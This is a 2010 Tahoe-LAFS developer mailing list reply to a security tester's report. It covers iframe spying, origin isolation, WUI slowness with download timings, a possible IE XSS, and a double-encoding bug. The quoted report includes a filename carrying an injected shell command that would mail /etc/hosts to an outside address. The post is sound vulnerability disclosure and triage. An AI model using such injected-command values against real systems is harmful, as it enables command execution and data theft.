[tahoe-dev] report of an unsuccessful assault on our fortress

[Zooko O'Whielacronx]

Okay, your post deserves a thorough response and probably a few
updates to our issue tracker, but it is way past my bed-time and I'm
just going to fire off what comes to mind.

On Sun, Jul 25, 2010 at 11:01 PM, Chris Palmer <chris at noncombatant.org> wrote:
>
> Did you/he try to create a file that loads the main WUI page in an iframe
> that takes up the whole browser viewport and then spies on the contained
> iframe?

The effect of this would be that I send you a link (pointing to your
local tahoe-lafs web gateway), you click on it, and then you see...
*something* of my choice -- a blank page, a file, the web gateway
welcome page, or whatever, and then if you were to use that tab to
navigate to a tahoe-lafs resource such as a confidential file, would
my code gain access to that confidential file? I think it might depend
on how I navigated to it. If the page was the web gateway welcome page
and I pasted the cap to my file into it then I guess your JavaScript
could gain access to that. But what if I paste a URL into the URL
widget? Or click a bookmark?

> For example,
> when serving HTML files from the WUI, serve them from a different origin
> (hostname:different-port, ip-instead-of-hostname:same-port,
> ip-instead-of-hostname:different-port, et c.).

This would be a promising solution to our problem, if we could
persuade the browser that every file loaded from the tahoe-lafs web
gateway should be each its own separate origin. But practically
speaking -- how? Listen on thousands of ports? We might run out of
ports.

> This is the only way to serve
> untrustworthy HTML content without getting pwned. (This is what Google's
> cache does, for example. Not a coincidence...)

Don't they run out of ports?

> * The WUI is incredibly slow.

Hm, I wonder why. Here is a download that someone did around the time
that you were messing with it:

http://pubgrid.tahoe-lafs.org/status/down-573

Started: 21:54:04 25-Jul-2010
Storage Index: mkajm2jwe4oaegn5ganiv6guuu
Servermap:
[fp3xjndg] has shares: #8,#3
[lv3fqmev] has shares: #9,#4
[sp26qyqc] has shares: #0,#1,#5,#6
[tavrk54e] has shares: #2,#7
Timings:
File Size: 882071 bytes
Total: 1.44s (612.7kBps)
Peer Selection: 64ms
UEB Fetch: 8.1ms
Hashtree Fetch: 2.9ms
Segment Fetch: 1.36s (646.8kBps)
Cumulative Fetching: 1.34s (660.7kBps)
Cumulative Decoding: 1.6ms (558.27MBps)
Cumulative Decrypting: 21ms (41.89MBps)
Paused by client: 6.1ms
Per-Server Segment Fetch Response Times:
[lv3fqmev]: 311ms, 175ms, 177ms, 175ms, 176ms, 175ms, 131ms
[sp26qyqc]: 8.5ms, 13ms, 5.1ms, 5.5ms, 4.8ms, 5.0ms, 8.6ms, 8.8ms,
5.4ms, 5.6ms, 8.0ms, 8.7ms, 4.8ms, 4.8ms

600 kilobytes per second seems respectable to me. Maybe this wasn't
one of the slow operations. Or maybe your standards are higher than
mine. Or maybe the timing measurer is missing the slow part -- perhaps
there are delays before the web gateway begins downloading for
example.

It seems like it would have been even faster than 600 kBps if
[lv3fqmev] were as quick as [sp26qyqc]. Also it might (or might not)
have been faster for the web gateway to draw the third share from a
third server ([fp3xjndg] or [tavrk54e]) instead of drawing both the
second and third shares from [sp26qyqc].

> * My second attempt, "... && mail blaggy..." did not succeed after 1
> minute, and resulted in the message "The page you are looking for is
> temporarily unavailable.  Please try again later."

Hm, I guess the attempt to update the directory took so long that the
front-end (apache?) that Soultcer is running timed out. Of course, it
is a problem for it to take so long! It *might* be due to some of the
servers in question having trouble--they are a hodge podge of servers
contributed by volunteers and have heterogeneous performance and
reliability.

> * When you try to delete "...; mail ...", the error page includes the full
> filename in unencoded plain text (served as text/plain). On IE, that would
> be XSS: IE will interpret text/plain as text/html if it MIME-sniffs any HTML
> in there. I could probably craft an exploit payload that would own your
> Tahoe files at that point.

Hey, this sounds like it should be followed up!

> * When displaying my file in the directory listing, it shows "zumby-bumby ;
> mail blaggy at mailinator.com < /etc/hosts". Note the double HTML
> entity-encoding, "&lt;":
>
>      <td><a
> href="../../uri/URI%3ADIR2%3Axs7uulujbkwwvs6pqldzs4wgsm%3A4jt6jhxa3ryjdtjuq2esxw6pibcq2pzgovkk3nbjnvix2w5tepda/">zumby-bumby
> ; mail blaggy at mailinator.com &lt; /etc/hosts</a></td>
>
> Double encoding is a bug, and sometimes indicates that the encoding function
> is trickable/exploitable.

Sounds like this should be followed up!

Thanks for looking at this and polluting our public test directory
with undeletable garbage!

Regards,

Zooko